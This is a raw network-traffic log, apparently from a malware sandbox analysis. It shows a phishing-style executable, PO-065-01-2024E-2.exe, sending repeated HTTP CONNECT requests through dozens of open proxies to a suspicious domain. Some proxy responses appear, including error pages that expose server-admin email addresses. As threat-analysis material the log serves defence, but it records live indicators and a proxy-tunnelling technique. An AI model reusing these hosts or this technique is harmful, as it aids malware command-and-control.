Mar 11, 2024 16:39:44.819374084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.10	50899	209.126.6.159	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.820501089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.626079082 CET	832	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:39:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 640 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 74 61 6e 76 33 33 72 2e 61 62 40 67 6d 61 69 6c 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at tanv33r.ab@gmail.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.10	50853	184.170.249.65	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.823529959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.10	49872	34.85.177.170	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.823771954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.889818907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.147613049 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.10	50781	168.205.217.37	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.828517914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.10	50760	91.241.217.58	9090	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.832443953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.10	50705	221.6.139.190	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.832859039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.800882101 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.10	50932	96.80.235.1	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.843997955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.395062923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.285912037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.786166906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.786170006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.786228895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.676736116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.551599026 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.10	51007	185.162.229.70	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.844700098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.999573946 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.10	51002	162.159.246.135	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.848942995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.009716988 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.10	49836	5.252.23.220	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.852104902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.989057064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.083100080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.176709890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.10	50806	89.31.143.12	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.855303049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.166290045 CET	307	IN	HTTP/1.1 400 Bad Request Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 150 Connection: close Server: UD Forwarding 3.1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.10	50945	174.138.114.226	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.862989902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.926002979 CET	536	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:40:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 654 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 72 69 63 68 61 72 64 2e 74 65 73 73 69 65 72 40 6d 61 73 73 6f 6b 69 6e 65 6f 72 74 68 6f 2e 63 6f 6d 20 74 6f Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at richard.tessier@massokineortho.com to
Mar 11, 2024 16:40:02.926037073 CET	310	IN	Data Raw: 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 Data Ascii: inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirli

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.10	50805	14.103.24.20	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.863329887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.10	50746	65.1.244.232	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.864265919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.757294893 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:39:45.757488012 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 25 c0 d5 7a 25 92 ae da 10 d4 6a 5c fd d4 9a 2f b7 b6 1e 01 c9 24 b7 d8 ac c2 3d c4 8f 06 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%z%j\/$=*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:39:46.156914949 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 b2 c4 43 a1 05 a2 18 4b 71 6d 7f e6 74 1d 17 0c f6 a6 8f b3 38 20 17 1f 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9CKqmt8 DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311144734Z260311144734Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:39:46.158790112 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 df 2d 8a 8c 16 0e 1b 7a 5d 3e cf 32 7b 6d fe b7 a8 9b 78 23 c5 3f 92 f1 3e e7 37 f4 1e 14 34 1e 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 14 94 e6 01 87 5a 03 5b 7c bf 2b 73 41 76 14 ba cd 49 65 59 d4 Data Ascii: %! -z]>2{mx#?>74(Z[\|+sAvIeY]N
Mar 11, 2024 16:39:46.556566000 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 bc 0e bb 8c 1f fb 53 3d c7 74 13 ab c0 d2 96 69 01 b5 43 78 02 85 b6 82 e4 d5 2e 6d 9c a4 ca 66 cf 74 da 58 57 58 dd 8f Data Ascii: (S=tiCx.mftXWX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
273	192.168.2.10	50767	45.150.25.132	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.869362116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.645059109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.989089966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.489130020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.176908016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.989146948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.785980940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:13.179568052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:31.786197901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
274	192.168.2.10	50839	52.67.10.183	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.874913931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
